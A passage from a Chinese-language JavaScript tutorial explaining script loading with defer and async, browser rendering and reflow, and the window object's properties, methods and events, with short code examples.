脚本文件都放在网页尾部加载,还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点,JavaScript 会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时 DOM 肯定已经生成了。

<head>
  <script>
    console.log(document.body.innerHTML);
  </script>
</head>
<body>
</body>

上面代码执行时会报错,因为此时document.body元素还未生成。

一种解决方法是设定DOMContentLoaded事件的回调函数。

<head>
  <script>
    document.addEventListener(
      'DOMContentLoaded',
      function (event) {
        console.log(document.body.innerHTML);
      }
    );
  </script>
</head>

上面代码中,指定DOMContentLoaded事件发生后,才开始执行相关代码。DOMContentLoaded事件只有在 DOM 结构生成之后才会触发。

另一种解决方法是,使用<script>标签的onload属性。当<script>标签指定的外部脚本文件下载和解析完成,会触发一个load事件,可以把所需执行的代码,放在这个事件的回调函数里面。

<script src="jquery.min.js" onload="console.log(document.body.innerHTML)">
</script>

但是,如果将脚本放在页面底部,就可以完全按照正常的方式写,上面两种方式都不需要。

<body>
  <!-- 其他代码  -->
  <script>
    console.log(document.body.innerHTML);
  </script>
</body>

如果有多个script标签,比如下面这样。

<script src="a.js"></script>
<script src="b.js"></script>

浏览器会同时并行下载a.jsb.js,但是,执行时会保证先执行a.js,然后再执行b.js,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。

解析和执行 CSS,也会产生阻塞。Firefox 浏览器会等到脚本前面的所有样式表,都下载并解析完,再执行脚本;Webkit则是一旦发现脚本引用了样式,就会暂停执行脚本,等到样式表下载并解析完,再恢复执行。

此外,对于来自同一个域名的资源,比如脚本文件、样式表文件、图片文件等,浏览器一般有限制,同时最多下载6~20个资源,即最多同时打开的 TCP 连接有限制,这是为了防止对服务器造成太大压力。如果是来自不同域名的资源,就没有这个限制。所以,通常把静态文件放在不同的域名之下,以加快下载速度。

defer 属性

为了解决脚本文件下载阻塞网页渲染的问题,一个方法是对<script>元素加入defer属性。它的作用是延迟脚本的执行,等到 DOM 加载生成后,再执行脚本。

<script src="a.js" defer></script>
<script src="b.js" defer></script>

上面代码中,只有等到 DOM 加载完成后,才会执行a.jsb.js

defer属性的运行流程如下。

  1. 浏览器开始解析 HTML 网页。
  2. 解析过程中,发现带有defer属性的<script>元素。
  3. 浏览器继续往下解析 HTML 网页,同时并行下载<script>元素加载的外部脚本。
  4. 浏览器完成解析 HTML 网页,此时再回过头执行已经下载完成的脚本。

有了defer属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded事件触发前执行(即刚刚读取完</html>标签),而且可以保证执行顺序就是它们在页面上出现的顺序。

对于内置而不是加载外部脚本的script标签,以及动态生成的script标签,defer属性不起作用。另外,使用defer加载的外部脚本不应该使用document.write方法。

async 属性

解决“阻塞效应”的另一个方法是对<script>元素加入async属性。

<script src="a.js" async></script>
<script src="b.js" async></script>

async属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。

  1. 浏览器开始解析 HTML 网页。
  2. 解析过程中,发现带有async属性的script标签。
  3. 浏览器继续往下解析 HTML 网页,同时并行下载<script>标签中的外部脚本。
  4. 脚本下载完成,浏览器暂停解析 HTML 网页,开始执行下载的脚本。
  5. 脚本执行完毕,浏览器恢复解析 HTML 网页。

async属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async属性的脚本文件里面的代码,不应该使用document.write方法。

defer属性和async属性到底应该使用哪一个?

一般来说,如果脚本之间没有依赖关系,就使用async属性,如果脚本之间有依赖关系,就使用defer属性。如果同时使用asyncdefer属性,后者不起作用,浏览器行为由async属性决定。

脚本的动态加载

<script>元素还可以动态生成,生成后再插入页面,从而实现脚本的动态加载。

['a.js', 'b.js'].forEach(function(src) {
  var script = document.createElement('script');
  script.src = src;
  document.head.appendChild(script);
});

这种方法的好处是,动态生成的script标签不会阻塞页面渲染,也就不会造成浏览器假死。但是问题在于,这种方法无法保证脚本的执行顺序,哪个脚本文件先下载完成,就先执行哪个。

如果想避免这个问题,可以设置async属性为false

['a.js', 'b.js'].forEach(function(src) {
  var script = document.createElement('script');
  script.src = src;
  script.async = false;
  document.head.appendChild(script);
});

上面的代码不会阻塞页面渲染,而且可以保证b.jsa.js后面执行。不过需要注意的是,在这段代码后面加载的脚本文件,会因此都等待b.js执行完成后再执行。

如果想为动态加载的脚本指定回调函数,可以使用下面的写法。

function loadScript(src, done) {
  var js = document.createElement('script');
  js.src = src;
  js.onload = function() {
    done();
  };
  js.onerror = function() {
    done(new Error('Failed to load script ' + src));
  };
  document.head.appendChild(js);
}

加载使用的协议

如果不指定协议,浏览器默认采用 HTTP 协议下载。

<script src="example.js"></script>

上面的example.js默认就是采用 HTTP 协议下载,如果要采用 HTTPS 协议下载,必需写明。

<script src="https://example.js"></script>

但是有时我们会希望,根据页面本身的协议来决定加载协议,这时可以采用下面的写法。

<script src="//example.js"></script>

浏览器的组成

浏览器的核心是两部分:渲染引擎和 JavaScript 解释器(又称 JavaScript 引擎)。

渲染引擎

渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。

不同的浏览器有不同的渲染引擎。

  • Firefox:Gecko 引擎
  • Safari:WebKit 引擎
  • Chrome:Blink 引擎
  • IE: Trident 引擎
  • Edge: EdgeHTML 引擎

渲染引擎处理网页,通常分成四个阶段。

  1. 解析代码:HTML 代码解析为 DOM,CSS 代码解析为 CSSOM(CSS Object Model)。
  2. 对象合成:将 DOM 和 CSSOM 合成一棵渲染树(render tree)。
  3. 布局:计算出渲染树的布局(layout)。
  4. 绘制:将渲染树绘制到屏幕。

以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的 HTML 代码还没下载完,但浏览器已经显示出内容了。

重流和重绘

渲染树转换为网页布局,称为“布局流”(flow);布局显示到页面的这个过程,称为“绘制”(paint)。它们都具有阻塞效应,并且会耗费很多时间和计算资源。

页面生成以后,脚本操作和样式表操作,都会触发“重流”(reflow)和“重绘”(repaint)。用户的互动也会触发重流和重绘,比如设置了鼠标悬停(a:hover)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。

重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。

大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。

作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的 DOM 元素,而以底层 DOM 元素的变动代替;再比如,重绘table布局和flex布局,开销都会比较大。

var foo = document.getElementById('foobar');

foo.style.color = 'blue';
foo.style.marginTop = '30px';

上面的代码只会导致一次重绘,因为浏览器会累积 DOM 变动,然后一次性执行。

下面是一些优化技巧。

  • 读取 DOM 或者写入 DOM,尽量写在一起,不要混杂。不要读取一个 DOM 节点,然后立刻写入,接着再读取一个 DOM 节点。
  • 缓存 DOM 信息。
  • 不要一项一项地改变样式,而是使用 CSS class 一次性改变样式。
  • 使用documentFragment操作 DOM
  • 动画使用absolute定位或fixed定位,这样可以减少对其他元素的影响。
  • 只在必要时才显示隐藏元素。
  • 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重绘之前执行,而不是立即要求页面重绘。
  • 使用虚拟 DOM(virtual DOM)库。

下面是一个window.requestAnimationFrame()对比效果的例子。

// 重流代价高
function doubleHeight(element) {
  var currentHeight = element.clientHeight;
  element.style.height = (currentHeight * 2) + 'px';
}

all_my_elements.forEach(doubleHeight);

// 重绘代价低
function doubleHeight(element) {
  var currentHeight = element.clientHeight;

  window.requestAnimationFrame(function () {
    element.style.height = (currentHeight * 2) + 'px';
  });
}

all_my_elements.forEach(doubleHeight);

上面的第一段代码,每读一次 DOM,就写入新的值,会造成不停的重排和重流。第二段代码把所有的写操作,都累积在一起,从而 DOM 代码变动的代价就最小化了。

JavaScript 引擎

JavaScript 引擎的主要作用是,读取网页中的 JavaScript 代码,对其处理后运行。

JavaScript 是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。

为了提高运行速度,目前的浏览器都将 JavaScript 进行一定程度的编译,生成类似字节码(bytecode)的中间代码,以提高运行速度。

早期,浏览器内部对 JavaScript 的处理过程如下:

  1. 读取代码,进行词法分析(Lexical analysis),将代码分解成词元(token)。
  2. 对词元进行语法分析(parsing),将代码整理成“语法树”(syntax tree)。
  3. 使用“翻译器”(translator),将代码转为字节码(bytecode)。
  4. 使用“字节码解释器”(bytecode interpreter),将字节码转为机器码。

逐行解释将字节码转为机器码,是很低效的。为了提高运行速度,现代浏览器改为采用“即时编译”(Just In Time compiler,缩写 JIT),即字节码只在运行时编译,用到哪一行就编译哪一行,并且把编译结果缓存(inline cache)。通常,一个程序被经常用到的,只是其中一小部分代码,有了缓存的编译结果,整个程序的运行速度就会显著提升。

字节码不能直接运行,而是运行在一个虚拟机(Virtual Machine)之上,一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码,有的 JavaScript 虚拟机基于源码,即只要有可能,就通过 JIT(just in time)编译器直接把源码编译成机器码运行,省略字节码步骤。这一点与其他采用虚拟机(比如 Java)的语言不尽相同。这样做的目的,是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机:

参考链接

window 对象

概述

浏览器里面,window对象(注意,w为小写)指当前的浏览器窗口。它也是当前页面的顶层对象,即最高一层的对象,所有其他对象都是它的下属。一个变量如果未声明,那么默认就是顶层对象的属性。

a = 1;
window.a // 1

上面代码中,a是一个没有声明就直接赋值的变量,它自动成为顶层对象的属性。

window有自己的实体含义,其实不适合当作最高一层的顶层对象,这是一个语言的设计失误。最早,设计这门语言的时候,原始设想是语言内置的对象越少越好,这样可以提高浏览器的性能。因此,语言设计者 Brendan Eich 就把window对象当作顶层对象,所有未声明就赋值的变量都自动变成window对象的属性。这种设计使得编译阶段无法检测出未声明变量,但到了今天已经没有办法纠正了。

window 对象的属性

window.name

window.name属性是一个字符串,表示当前浏览器窗口的名字。窗口不一定需要名字,这个属性主要配合超链接和表单的target属性使用。

window.name = 'Hello World!';
console.log(window.name)
// "Hello World!"

该属性只能保存字符串,如果写入的值不是字符串,会自动转成字符串。各个浏览器对这个值的储存容量有所不同,但是一般来说,可以高达几MB。

只要浏览器窗口不关闭,这个属性是不会消失的。举例来说,访问a.com时,该页面的脚本设置了window.name,接下来在同一个窗口里面载入了b.com,新页面的脚本可以读到上一个网页设置的window.name。页面刷新也是这种情况。一旦浏览器窗口关闭后,该属性保存的值就会消失,因为这时窗口已经不存在了。

window.closed,window.opener

window.closed属性返回一个布尔值,表示窗口是否关闭。

window.closed // false

上面代码检查当前窗口是否关闭。这种检查意义不大,因为只要能运行代码,当前窗口肯定没有关闭。这个属性一般用来检查,使用脚本打开的新窗口是否关闭。

var popup = window.open();

if ((popup !== null) && !popup.closed) {
  // 窗口仍然打开着
}

window.opener属性表示打开当前窗口的父窗口。如果当前窗口没有父窗口(即直接在地址栏输入打开),则返回null

window.open().opener === window // true

上面表达式会打开一个新窗口,然后返回true

如果两个窗口之间不需要通信,建议将子窗口的opener属性显式设为null,这样可以减少一些安全隐患。

var newWin = window.open('example.html', 'newWindow', 'height=400,width=400');
newWin.opener = null;

上面代码中,子窗口的opener属性设为null,两个窗口之间就没办法再联系了。

通过opener属性,可以获得父窗口的全局属性和方法,但只限于两个窗口同源的情况(参见《同源限制》一章),且其中一个窗口由另一个打开。<a>元素添加rel="noopener"属性,可以防止新打开的窗口获取父窗口,减轻被恶意网站修改父窗口 URL 的风险。

<a href="https://an.evil.site" target="_blank" rel="noopener">
恶意网站
</a>

window.self,window.window

window.selfwindow.window属性都指向窗口本身。这两个属性只读。

window.self === window // true
window.window === window // true

window.frames,window.length

window.frames属性返回一个类似数组的对象,成员为页面内所有框架窗口,包括frame元素和iframe元素。window.frames[0]表示页面中第一个框架窗口。

如果iframe元素设置了idname属性,那么就可以用属性值,引用这个iframe窗口。比如<iframe name="myIFrame">可以用frames['myIFrame']或者frames.myIFrame来引用。

frames属性实际上是window对象的别名。

frames === window // true

因此,frames[0]也可以用window[0]表示。但是,从语义上看,frames更清晰,而且考虑到window还是全局对象,因此推荐表示多窗口时,总是使用frames[0]的写法。更多介绍请看下文的《多窗口操作》部分。

window.length属性返回当前网页包含的框架总数。如果当前网页不包含frameiframe元素,那么window.length就返回0

window.frames.length === window.length // true

上面代码表示,window.frames.lengthwindow.length应该是相等的。

window.frameElement

window.frameElement属性主要用于当前窗口嵌在另一个网页的情况(嵌入<object><iframe><embed>元素),返回当前窗口所在的那个元素节点。如果当前窗口是顶层窗口,或者所嵌入的那个网页不是同源的,该属性返回null

// HTML 代码如下
// <iframe src="about.html"></iframe>

// 下面的脚本在 about.html 里面
var frameEl = window.frameElement;
if (frameEl) {
  frameEl.src = 'other.html';
}

上面代码中,frameEl变量就是<iframe>元素。

window.top,window.parent

window.top属性指向最顶层窗口,主要用于在框架窗口(frame)里面获取顶层窗口。

window.parent属性指向父窗口。如果当前窗口没有父窗口,window.parent指向自身。

if (window.parent !== window.top) {
  // 表明当前窗口嵌入不止一层
}

对于不包含框架的网页,这两个属性等同于window对象。

window.status

window.status属性用于读写浏览器状态栏的文本。但是,现在很多浏览器都不允许改写状态栏文本,所以使用这个方法不一定有效。

window.devicePixelRatio

window.devicePixelRatio属性返回一个数值,表示一个 CSS 像素的大小与一个物理像素的大小之间的比率。也就是说,它表示一个 CSS 像素由多少个物理像素组成。它可以用于判断用户的显示环境,如果这个比率较大,就表示用户正在使用高清屏幕,因此可以显示较大像素的图片。

位置大小属性

以下属性返回window对象的位置信息和大小信息。

(1)window.screenX,window.screenY

window.screenXwindow.screenY属性,返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离(单位像素)。这两个属性只读。

(2) window.innerHeight,window.innerWidth

window.innerHeightwindow.innerWidth属性,返回网页在当前窗口中可见部分的高度和宽度,即“视口”(viewport)的大小(单位像素)。这两个属性只读。

用户放大网页的时候(比如将网页从100%的大小放大为200%),这两个属性会变小。因为这时网页的像素大小不变(比如宽度还是960像素),只是每个像素占据的屏幕空间变大了,因此可见部分(视口)就变小了。

注意,这两个属性值包括滚动条的高度和宽度。

(3)window.outerHeight,window.outerWidth

window.outerHeightwindow.outerWidth属性返回浏览器窗口的高度和宽度,包括浏览器菜单和边框(单位像素)。这两个属性只读。

(4)window.scrollX,window.scrollY

window.scrollX属性返回页面的水平滚动距离,window.scrollY属性返回页面的垂直滚动距离,单位都为像素。这两个属性只读。

注意,这两个属性的返回值不是整数,而是双精度浮点数。如果页面没有滚动,它们的值就是0

举例来说,如果用户向下拉动了垂直滚动条75像素,那么window.scrollY就是75左右。用户水平向右拉动水平滚动条200像素,window.scrollX就是200左右。

if (window.scrollY < 75) {
  window.scroll(0, 75);
}

上面代码中,如果页面向下滚动的距离小于75像素,那么页面向下滚动75像素。

(5)window.pageXOffset,window.pageYOffset

window.pageXOffset属性和window.pageYOffset属性,是window.scrollXwindow.scrollY别名。

组件属性

组件属性返回浏览器的组件对象。这样的属性有下面几个。

  • window.locationbar:地址栏对象
  • window.menubar:菜单栏对象
  • window.scrollbars:窗口的滚动条对象
  • window.toolbar:工具栏对象
  • window.statusbar:状态栏对象
  • window.personalbar:用户安装的个人工具栏对象

这些对象的visible属性是一个布尔值,表示这些组件是否可见。这些属性只读。

window.locationbar.visible
window.menubar.visible
window.scrollbars.visible
window.toolbar.visible
window.statusbar.visible
window.personalbar.visible

全局对象属性

全局对象属性指向一些浏览器原生的全局对象。

  • window.document:指向document对象,详见《document 对象》一章。注意,这个属性有同源限制。只有来自同源的脚本才能读取这个属性。
  • window.location:指向Location对象,用于获取当前窗口的 URL 信息。它等同于document.location属性,详见《Location 对象》一章。
  • window.navigator:指向Navigator对象,用于获取环境信息,详见《Navigator 对象》一章。
  • window.history:指向History对象,表示浏览器的浏览历史,详见《History 对象》一章。
  • window.localStorage:指向本地储存的 localStorage 数据,详见《Storage 接口》一章。
  • window.sessionStorage:指向本地储存的 sessionStorage 数据,详见《Storage 接口》一章。
  • window.console:指向console对象,用于操作控制台,详见《console 对象》一章。
  • window.screen:指向Screen对象,表示屏幕信息,详见《Screen 对象》一章。

window.isSecureContext

window.isSecureContext属性返回一个布尔值,表示当前窗口是否处在加密环境。如果是 HTTPS 协议,就是true,否则就是false

window 对象的方法

window.alert(),window.prompt(),window.confirm()

window.alert()window.prompt()window.confirm()都是浏览器与用户互动的全局方法。它们会弹出不同的对话框,要求用户做出回应。注意,这三个方法弹出的对话框,都是浏览器统一规定的式样,无法定制。

(1)window.alert()

window.alert()方法弹出的对话框,只有一个“确定”按钮,往往用来通知用户某些信息。

window.alert('Hello World');

用户只有点击“确定”按钮,对话框才会消失。对话框弹出期间,浏览器窗口处于冻结状态,如果不点“确定”按钮,用户什么也干不了。

window.alert()方法的参数只能是字符串,没法使用 CSS 样式,但是可以用\n指定换行。

alert('本条提示\n分成两行');

(2)window.prompt()

window.prompt()方法弹出的对话框,提示文字的下方,还有一个输入框,要求用户输入信息,并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据。

var result = prompt('您的年龄?', 25)

上面代码会跳出一个对话框,文字提示为“您的年龄?”,要求用户在对话框中输入自己的年龄(默认显示25)。用户填入的值,会作为返回值存入变量result

window.prompt()的返回值有两种情况,可能是字符串(有可能是空字符串),也有可能是null。具体分成三种情况。

  1. 用户输入信息,并点击“确定”,则用户输入的信息就是返回值。
  2. 用户没有输入信息,直接点击“确定”,则输入框的默认值就是返回值。
  3. 用户点击了“取消”(或者按了 ESC 按钮),则返回值是null

window.prompt()方法的第二个参数是可选的,但是最好总是提供第二个参数,作为输入框的默认值。

(3)window.confirm()

window.confirm()方法弹出的对话框,除了提示信息之外,只有“确定”和“取消”两个按钮,往往用来征询用户是否同意。

var result = confirm('你最近好吗?');

上面代码弹出一个对话框,上面只有一行文字“你最近好吗?”,用户选择点击“确定”或“取消”。

confirm方法返回一个布尔值,如果用户点击“确定”,返回true;如果用户点击“取消”,则返回false

var okay = confirm('Please confirm this message.');
if (okay) {
  // 用户按下“确定”
} else {
  // 用户按下“取消”
}

confirm的一个用途是,用户离开当前页面时,弹出一个对话框,问用户是否真的要离开。

window.onunload = function () {
  return window.confirm('你确定要离开当面页面吗?');
}

这三个方法都具有堵塞效应,一旦弹出对话框,整个页面就是暂停执行,等待用户做出反应。

window.open(), window.close(),window.stop()

(1)window.open()

window.open方法用于新建另一个浏览器窗口,类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用,如果无法新建窗口,则返回null

var popup = window.open('somefile.html');

上面代码会让浏览器弹出一个新建窗口,网址是当前域名下的somefile.html

open方法一共可以接受三个参数。

window.open(url, windowName, [windowFeatures])
  • url:字符串,表示新窗口的网址。如果省略,默认网址就是about:blank
  • windowName:字符串,表示新窗口的名字。如果该名字的窗口已经存在,则占用该窗口,不再新建窗口。如果省略,就默认使用_blank,表示新建一个没有名字的窗口。另外还有几个预设值,_self表示当前窗口,_top表示顶层窗口,_parent表示上一层窗口。
  • windowFeatures:字符串,内容为逗号分隔的键值对(详见下文),表示新窗口的参数,比如有没有提示栏、工具条等等。如果省略,则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口,则该参数不起作用,浏览器沿用以前窗口的参数。

下面是一个例子。

var popup = window.open(
  'somepage.html',
  'DefinitionsWindows',
  'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);

上面代码表示,打开的新窗口高度和宽度都为200像素,没有地址栏,但有状态栏和滚动条,允许用户调整大小。

第三个参数可以设定如下属性。

  • left:新窗口距离屏幕最左边的距离(单位像素)。注意,新窗口必须是可见的,不能设置在屏幕以外的位置。
  • top:新窗口距离屏幕最顶部的距离(单位像素)。
  • height:新窗口内容区域的高度(单位像素),不得小于100。
  • width:新窗口内容区域的宽度(单位像素),不得小于100。
  • outerHeight:整个浏览器窗口的高度(单位像素),不得小于100。
  • outerWidth:整个浏览器窗口的宽度(单位像素),不得小于100。
  • menubar:是否显示菜单栏。
  • toolbar:是否显示工具栏。
  • location:是否显示地址栏。
  • personalbar:是否显示用户自己安装的工具栏。
  • status:是否显示状态栏。
  • dependent:是否依赖父窗口。如果依赖,那么父窗口最小化,该窗口也最小化;父窗口关闭,该窗口也关闭。
  • minimizable:是否有最小化按钮,前提是dialog=yes
  • noopener:新窗口将与父窗口切断联系,即新窗口的window.opener属性返回null,父窗口的window.open()方法也返回null
  • resizable:新窗口是否可以调节大小。
  • scrollbars:是否允许新窗口出现滚动条。
  • dialog:新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。
  • titlebar:新窗口是否显示标题栏。
  • alwaysRaised:是否显示在所有窗口的顶部。
  • alwaysLowered:是否显示在父窗口的底下。
  • close:新窗口是否显示关闭按钮。

对于那些可以打开和关闭的属性,设为yes1或不设任何值就表示打开,比如status=yesstatus=1status都会得到同样的结果。如果想设为关闭,不用写no,而是直接省略这个属性即可。也就是说,如果在第三个参数中设置了一部分属性,其他没有被设置的yes/no属性都会被设成no,只有titlebar和关闭按钮除外(它们的值默认为yes)。

上面这些属性,属性名与属性值之间用等号连接,属性与属性之间用逗号分隔。

'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'

另外,open()方法的第二个参数虽然可以指定已经存在的窗口,但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制,浏览器只有在两个窗口同源,或者目标窗口被当前网页打开的情况下,才允许open方法指向该窗口。

window.open方法返回新窗口的引用。

var windowB = window.open('windowB.html', 'WindowB');
windowB.window.name // "WindowB"

注意,如果新窗口和父窗口不是同源的(即不在同一个域),它们彼此不能获取对方窗口对象的内部属性。

下面是另一个例子。

var w = window.open();
console.log('已经打开新窗口');
w.location = 'http://example.com';

上面代码先打开一个新窗口,然后在该窗口弹出一个对话框,再将网址导向example.com

由于open这个方法很容易被滥用,许多浏览器默认都不允许脚本自动新建窗口。只允许在用户点击链接或按钮时,脚本做出反应,弹出新窗口。因此,有必要检查一下打开新窗口是否成功。

var popup = window.open();
if (popup === null) {
  // 新建窗口失败
}

(2)window.close()

window.close方法用于关闭当前窗口,一般只用来关闭window.open方法新建的窗口。

popup.close()

该方法只对顶层窗口有效,iframe框架之中的窗口使用该方法无效。

(3)window.stop()

window.stop()方法完全等同于单击浏览器的停止按钮,会停止加载图像、视频等正在或等待加载的对象。

window.stop()

window.moveTo(),window.moveBy()

window.moveTo()方法用于移动浏览器窗口到指定位置。它接受两个参数,分别是窗口左上角距离屏幕左上角的水平距离和垂直距离,单位为像素。

window.moveTo(100, 200)

上面代码将窗口移动到屏幕(100, 200)的位置。

window.moveBy()方法将窗口移动到一个相对位置。它接受两个参数,分别是窗口左上角向右移动的水平距离和向下移动的垂直距离,单位为像素。

window.moveBy(25, 50)

上面代码将窗口向右移动25像素、向下移动50像素。

为了防止有人滥用这两个方法,随意移动用户的窗口,目前只有一种情况,浏览器允许用脚本移动窗口:该窗口是用window.open()方法新建的,并且窗口里只有它一个 Tab 页。除此以外的情况,使用上面两个方法都是无效的。

window.resizeTo(),window.resizeBy()

window.resizeTo()方法用于缩放窗口到指定大小。

它接受两个参数,第一个是缩放后的窗口宽度(outerWidth属性,包含滚动条、标题栏等等),第二个是缩放后的窗口高度(outerHeight属性)。

window.resizeTo(
  window.screen.availWidth / 2,
  window.screen.availHeight / 2
)

上面代码将当前窗口缩放到,屏幕可用区域的一半宽度和高度。

window.resizeBy()方法用于缩放窗口。它与window.resizeTo()的区别是,它按照相对的量缩放,window.resizeTo()需要给出缩放后的绝对大小。

它接受两个参数,第一个是水平缩放的量,第二个是垂直缩放的量,单位都是像素。

window.resizeBy(-200, -200)

上面的代码将当前窗口的宽度和高度,都缩小200像素。

window.scrollTo(),window.scroll(),window.scrollBy()

window.scrollTo方法用于将文档滚动到指定位置。它接受两个参数,表示滚动后位于窗口左上角的页面坐标。

window.scrollTo(x-coord, y-coord)

它也可以接受一个配置对象作为参数。

window.scrollTo(options)

配置对象options有三个属性。

  • top:滚动后页面左上角的垂直坐标,即 y 坐标。
  • left:滚动后页面左上角的水平坐标,即 x 坐标。
  • behavior:字符串,表示滚动的方式,有三个可能值(smoothinstantauto),默认值为auto
window.scrollTo({
  top: 1000,
  behavior: 'smooth'
});

window.scroll()方法是window.scrollTo()方法的别名。

window.scrollBy()方法用于将网页滚动指定距离(单位像素)。它接受两个参数:水平向右滚动的像素,垂直向下滚动的像素。

window.scrollBy(0, window.innerHeight)

上面代码用于将网页向下滚动一屏。

如果不是要滚动整个文档,而是要滚动某个元素,可以使用下面三个属性和方法。

  • Element.scrollTop
  • Element.scrollLeft
  • Element.scrollIntoView()

window.print()

window.print方法会跳出打印对话框,与用户点击菜单里面的“打印”命令效果相同。

常见的打印按钮代码如下。

document.getElementById('printLink').onclick = function () {
  window.print();
}

非桌面设备(比如手机)可能没有打印功能,这时可以这样判断。

if (typeof window.print === 'function') {
  // 支持打印功能
}

window.focus(),window.blur()

window.focus()方法会激活窗口,使其获得焦点,出现在其他窗口的前面。

var popup = window.open('popup.html', 'Popup Window');

if ((popup !== null) && !popup.closed) {
  popup.focus();
}

上面代码先检查popup窗口是否依然存在,确认后激活该窗口。

window.blur()方法将焦点从窗口移除。

当前窗口获得焦点时,会触发focus事件;当前窗口失去焦点时,会触发blur事件。

window.getSelection()

window.getSelection方法返回一个Selection对象,表示用户现在选中的文本。

var selObj = window.getSelection();

使用Selection对象的toString方法可以得到选中的文本。

var selectedText = selObj.toString();

window.getComputedStyle(),window.matchMedia()

window.getComputedStyle()方法接受一个元素节点作为参数,返回一个包含该元素的最终样式信息的对象,详见《CSS 操作》一章。

window.matchMedia()方法用来检查 CSS 的mediaQuery语句,详见《CSS 操作》一章。

window.requestAnimationFrame()

window.requestAnimationFrame()方法跟setTimeout类似,都是推迟某个函数的执行。不同之处在于,setTimeout必须指定推迟的时间,window.requestAnimationFrame()则是推迟到浏览器下一次重流时执行,执行完才会进行下一次重绘。重绘通常是 16ms 执行一次,不过浏览器会自动调节这个速率,比如网页切换到后台 Tab 页时,requestAnimationFrame()会暂停执行。

如果某个函数会改变网页的布局,一般就放在window.requestAnimationFrame()里面执行,这样可以节省系统资源,使得网页效果更加平滑。因为慢速设备会用较慢的速率重流和重绘,而速度更快的设备会有更快的速率。

该方法接受一个回调函数作为参数。

window.requestAnimationFrame(callback)

上面代码中,callback是一个回调函数。callback执行时,它的参数就是系统传入的一个高精度时间戳(performance.now()的返回值),单位是毫秒,表示距离网页加载的时间。

window.requestAnimationFrame()的返回值是一个整数,这个整数可以传入window.cancelAnimationFrame(),用来取消回调函数的执行。

下面是一个window.requestAnimationFrame()执行网页动画的例子。

var element = document.getElementById('animate');
element.style.position = 'absolute';

var start = null;

function step(timestamp) {
  if (!start) start = timestamp;
  var progress = timestamp - start;
  // 元素不断向左移,最大不超过200像素
  element.style.left = Math.min(progress / 10, 200) + 'px';
  // 如果距离第一次执行不超过 2000 毫秒,
  // 就继续执行动画
  if (progress < 2000) {
    window.requestAnimationFrame(step);
  }
}

window.requestAnimationFrame(step);

上面代码定义了一个网页动画,持续时间是2秒,会让元素向右移动。

window.requestIdleCallback()

window.requestIdleCallback()setTimeout类似,也是将某个函数推迟执行,但是它保证将回调函数推迟到系统资源空闲时执行。也就是说,如果某个任务不是很关键,就可以使用window.requestIdleCallback()将其推迟执行,以保证网页性能。

它跟window.requestAnimationFrame()的区别在于,后者指定回调函数在下一次浏览器重排时执行,问题在于下一次重排时,系统资源未必空闲,不一定能保证在16毫秒之内完成;window.requestIdleCallback()可以保证回调函数在系统资源空闲时执行。

该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间,如果过了这个时间,回调函数不管系统资源有无空闲,都会执行。

window.requestIdleCallback(callback[, options])

callback参数是一个回调函数。该回调函数执行时,系统会传入一个IdleDeadline对象作为参数。IdleDeadline对象有一个didTimeout属性(布尔值,表示是否为超时调用)和一个timeRemaining()方法(返回该空闲时段剩余的毫秒数)。

options参数是一个配置对象,目前只有timeout一个属性,用来指定回调函数推迟执行的最大毫秒数。该参数可选。

window.requestIdleCallback()方法返回一个整数。该整数可以传入window.cancelIdleCallback()取消回调函数。

下面是一个例子。

requestIdleCallback(myNonEssentialWork);

function myNonEssentialWork(deadline) {
  while (deadline.timeRemaining() > 0) {
    doWorkIfNeeded();
  }
}

上面代码中,requestIdleCallback()用来执行非关键任务myNonEssentialWork。该任务先确认本次空闲时段有剩余时间,然后才真正开始执行任务。

下面是指定timeout的例子。

requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });

上面代码指定,processPendingAnalyticsEvents必须在未来2秒之内执行。

如果由于超时导致回调函数执行,则deadline.timeRemaining()返回0deadline.didTimeout返回true

如果多次执行window.requestIdleCallback(),指定多个回调函数,那么这些回调函数将排成一个队列,按照先进先出的顺序执行。

事件

window对象可以接收以下事件。

load 事件和 onload 属性

load事件发生在文档在浏览器窗口加载完毕时。window.onload属性可以指定这个事件的回调函数。

window.onload = function() {
  var elements = document.getElementsByClassName('example');
  for (var i = 0; i < elements.length; i++) {
    var elt = elements[i];
    // ...
  }
};

上面代码在网页加载完毕后,获取指定元素并进行处理。

error 事件和 onerror 属性

浏览器脚本发生错误时,会触发window对象的error事件。我们可以通过window.onerror属性对该事件指定回调函数。

window.onerror = function (message, filename, lineno, colno, error) {
  console.log("出错了!--> %s", error.stack);
